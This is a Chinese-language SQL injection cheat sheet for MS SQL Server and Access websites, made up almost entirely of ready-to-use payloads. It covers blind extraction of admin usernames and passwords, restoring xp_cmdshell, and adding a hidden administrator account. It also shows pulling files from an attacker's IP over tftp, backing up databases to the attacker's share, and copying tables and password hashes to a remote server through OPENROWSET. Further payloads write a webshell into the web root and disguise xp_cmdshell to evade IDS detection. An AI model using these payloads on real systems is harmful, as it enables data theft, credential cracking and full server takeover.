1.判断有无注入点
'' ; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=''a'') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=''ab'')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--

看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER(''sysadmin''))--

判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and ''sa''=(Select System_user)--
and user_name()=''dbo''--
and 0<>(select user_name()--
看xp_cmdshell是否删除

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ''X'' AND
name = ''xp_cmdshell'')--

xp_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc ''xp_cmdshell'',''xplog70.dll''--
;EXEC master.dbo.sp_addextendedproc
''xp_cmdshell'',''c:\inetpub\wwwroot\xplog70.dll''--

反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号
;DECLARE @shell INT EXEC SP_OACreate ''wscript.shell'',@shell OUTPUT EXEC
SP_OAMETHOD @shell,''run'',null, ''C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add''--

创建一个虚拟目录E盘：
;declare @o int exec sp_oacreate ''wscript.shell'', @o out exec sp_oamethod
@o, ''run'', NULL,'' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"
-v "e","e：\"''--

访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate ''wscript.shell'', @o out exec sp_oamethod
@o, ''run'', NULL,'' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a
w3svc/1/ROOT/e +browse''

爆库 特殊技巧：:%5c=''\'' 或者把/和\ 修改%5提交
如何得到SQLSERVER某个数据库中所有表的表名？


--------------------------------------------------------------------------------

用户表：
select name from sysobjects where xtype = ''U'';

系统表：
select name from sysobjects where xtype = ''S'';

所有表：
select name from sysobjects where xtype = ''S'' or xtype = ''U'';

--------------------------------------------------------------------------------
and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）

and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=''U'') 暴到一个表
假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=''U'' and name
not in (''Admin'')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=''U'' and
name=''admin''
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
name not in
(''id'',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=''U'') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=''U'' and name
not in(''Address''))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=''U'' and
name=''admin'' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union，access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
@test varchar(20) exec master..xp_regread @rootkey=''HKEY_LOCAL_MACHINE'',
@key=''SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\'',
@value_name=''/'', values=@test OUTPUT insert into paths(path)
values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell ''dir''
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell ''net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add'';--
;exec master.dbo.xp_cmdshell ''net localgroup administrators jiaoniang$
/add'';--
exec master..xp_servicecontrol ''start'', ''schedule'' 启动服务
exec master..xp_servicecontrol ''start'', ''server''
; DECLARE @shell INT EXEC SP_OACreate ''wscript.shell'',@shell OUTPUT EXEC
SP_OAMETHOD @shell,''run'',null, ''C：\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add''
;DECLARE @shell INT EXEC SP_OACreate ''wscript.shell'',@shell OUTPUT EXEC
SP_OAMETHOD @shell,''run'',null, ''C：\WINNT\system32\cmd.exe /c net
localgroup administrators jiaoniang$ /add''
''; exec master..xp_cmdshell ''tftp -i youip get file.exe''-- 利用TFTP上传文件
;declare @a sysname set @a=''xp_''+''cmdshell'' exec @a ''dir c:\''
;declare @a sysname set @a=''xp''+''_cm’+’dshell'' exec @a ''dir c:\''
;declare @a;set @a=db_name();backup database @a to
disk=''你的IP你的共享目录bak.dat''
如果被限制则可以。
select * from openrowset(''sqloledb'',''server'';''sa'';'''',''select ''''OK!'''' exec
master.dbo.sp_addlogin hax'')
查询构造：
Select * FROM news Where id=... AND topic=... AND .....
admin''and 1=(select count(*) from [user] where username=''victim'' and
right(left(userpass,01),1)=''1'') and userpass <>''
select 123;--
;use master;--
:a'' or name like ''fff%'';-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where
xtype=''u'' and status>0) where name=''ffff'';--
;update [users] set email=(select top 1 id from sysobjects where xtype=''u''
and name=''ad'') where name=''ffff'';--
'';update [users] set email=(select top 1 name from sysobjects where
xtype=''u'' and id>581577110) where name=''ffff'';--
'';update [users] set email=(select top 1 count(id) from password) where
name=''ffff'';--
'';update [users] set email=(select top 1 pwd from password where id=2)
where name=''ffff'';--
'';update [users] set email=(select top 1 name from password where id=2)
where name=''ffff'';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, ''admin''''--'', ''password'', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=''u'' and
status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>''刚才得到的表名''）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=''u'' and
status>0 and name<>''vote'');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_name(object_id(''表名''),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(''表名''),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and
status>0 [ and name<>''你得到的表名'' 查出一个加一个]) [ where 条件] select top 1 name from
sysobjects where xtype=u and status>0 and name not in(''table1'',''table2'',…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(''要查询的数据表名''),字段列如:1) [
where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=''xp_''+''cmdshell'' exec @a ''dir c:\''
;declare @a sysname set @a=''xp''+''_cm’+’dshell'' exec @a ''dir c:\''
1、 开启远程数据库
基本语法
select * from OPENROWSET(''SQLOLEDB'', ''server=servername;uid=sa;pwd=123'',
''select * from table1'' )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(''SQLOLEDB'',
''uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;'', ''select *
from table''
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(''SQLOLEDB'', ''server=servername;uid=sa;pwd=123'',
''select * from table1'') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：

insert into
OPENROWSET(''SQLOLEDB'',''uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;'',''select
* from table1'') select * from table2
insert into
OPENROWSET(''SQLOLEDB'',''uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;'',''select
* from _sysdatabases'')
select * from master.dbo.sysdatabases
insert into
OPENROWSET(''SQLOLEDB'',''uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;'',''select
* from _sysobjects'')
select * from user_database.dbo.sysobjects
insert into
OPENROWSET(''SQLOLEDB'',''uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;'',''select
* from _syscolumns'')
select * from user_database.dbo.syscolumns
复制数据库：
insert into
OPENROWSET(''SQLOLEDB'',''uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;'',''select
* from table1'') select * from database..table1
insert into
OPENROWSET(''SQLOLEDB'',''uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;'',''select
* from table2'') select * from database..table2
复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(''SQLOLEDB'',
''uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;'',''select * from
_sysxlogins'') select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法： 先创建一个临时表：temp
'';create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3 nvarchar(255));--
'';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
'';insert into temp(id) exec master.dbo.xp_subdirs ''c:\'';-- 获得子目录列表
'';insert into temp(id,num1) exec master.dbo.xp_dirtree ''c:\'';--
获得所有子目录的目录树结构,并寸入temp表中
'';insert into temp(id) exec master.dbo.xp_cmdshell ''type
c:\web\index.asp'';-- 查看某个文件的内容
'';insert into temp(id) exec master.dbo.xp_cmdshell ''dir c:\'';--
'';insert into temp(id) exec master.dbo.xp_cmdshell ''dir c:\ *.asp /s/a'';--

'';insert into temp(id) exec master.dbo.xp_cmdshell ''cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc''
'';insert into temp(id,num1) exec master.dbo.xp_dirtree ''c:\'';--
（xp_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(Select IS_SRVROLEMEMBER(''sysadmin''));--
语句2：and 1=(Select IS_SRVROLEMEMBER(''serveradmin''));--
语句3：and 1=(Select IS_SRVROLEMEMBER(''setupadmin''));--
语句4：and 1=(Select IS_SRVROLEMEMBER(''securityadmin''));--
语句5：and 1=(Select IS_SRVROLEMEMBER(''securityadmin''));--
语句6：and 1=(Select IS_SRVROLEMEMBER(''diskadmin''));--
语句7：and 1=(Select IS_SRVROLEMEMBER(''bulkadmin''));--
语句8：and 1=(Select IS_SRVROLEMEMBER(''bulkadmin''));--
语句9：and 1=(Select IS_MEMBER(''db_owner''));--
把路径写到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree ''c:\''--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(''@Inetpub''))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree ''e:\web''--
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录：下载
;declare @a sysname; set @a=db_name();backup database @a to
disk=''e:\web\down.bak'';--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where
xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(''USER_LOGIN''),1) from sysobjects)
参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_oacreate ''wscript.shell'', @o out
exec sp_oamethod @o, ''run'', NULL, ''notepad.exe''
''; declare @o int exec sp_oacreate ''wscript.shell'', @o out exec
sp_oamethod @o, ''run'', NULL, ''notepad.exe''--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ''scripting.filesystemobject'', @o out
exec sp_oamethod @o, ''opentextfile'', @f out, ''c:\boot.ini'', 1
exec @ret = sp_oamethod @f, ''readline'', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ''readline'', @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ''scripting.filesystemobject'', @o out
exec sp_oamethod @o, ''createtextfile'', @f out,
''c:\inetpub\wwwroot\foo.asp'', 1
exec @ret = sp_oamethod @f, ''writeline'', NULL,
''''
declare @o int, @ret int
exec sp_oacreate ''speech.voicetext'', @o out
exec sp_oamethod @o, ''register'', NULL, ''foo'', ''bar''
exec sp_oasetproperty @o, ''speed'', 150
exec sp_oamethod @o, ''speak'', NULL, ''all your sequel servers are belong
to,us'', 528
waitfor delay ''00:00:05''
''; declare @o int, @ret int exec sp_oacreate ''speech.voicetext'', @o out
exec sp_oamethod @o, ''register'', NULL, ''foo'', ''bar'' exec sp_oasetproperty
@o, ''speed'', 150 exec sp_oamethod @o, ''speak'', NULL, ''all your sequel
servers are belong to us'', 528 waitfor delay ''00:00:05''--
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree ''c:\''
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree ''c:\''
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！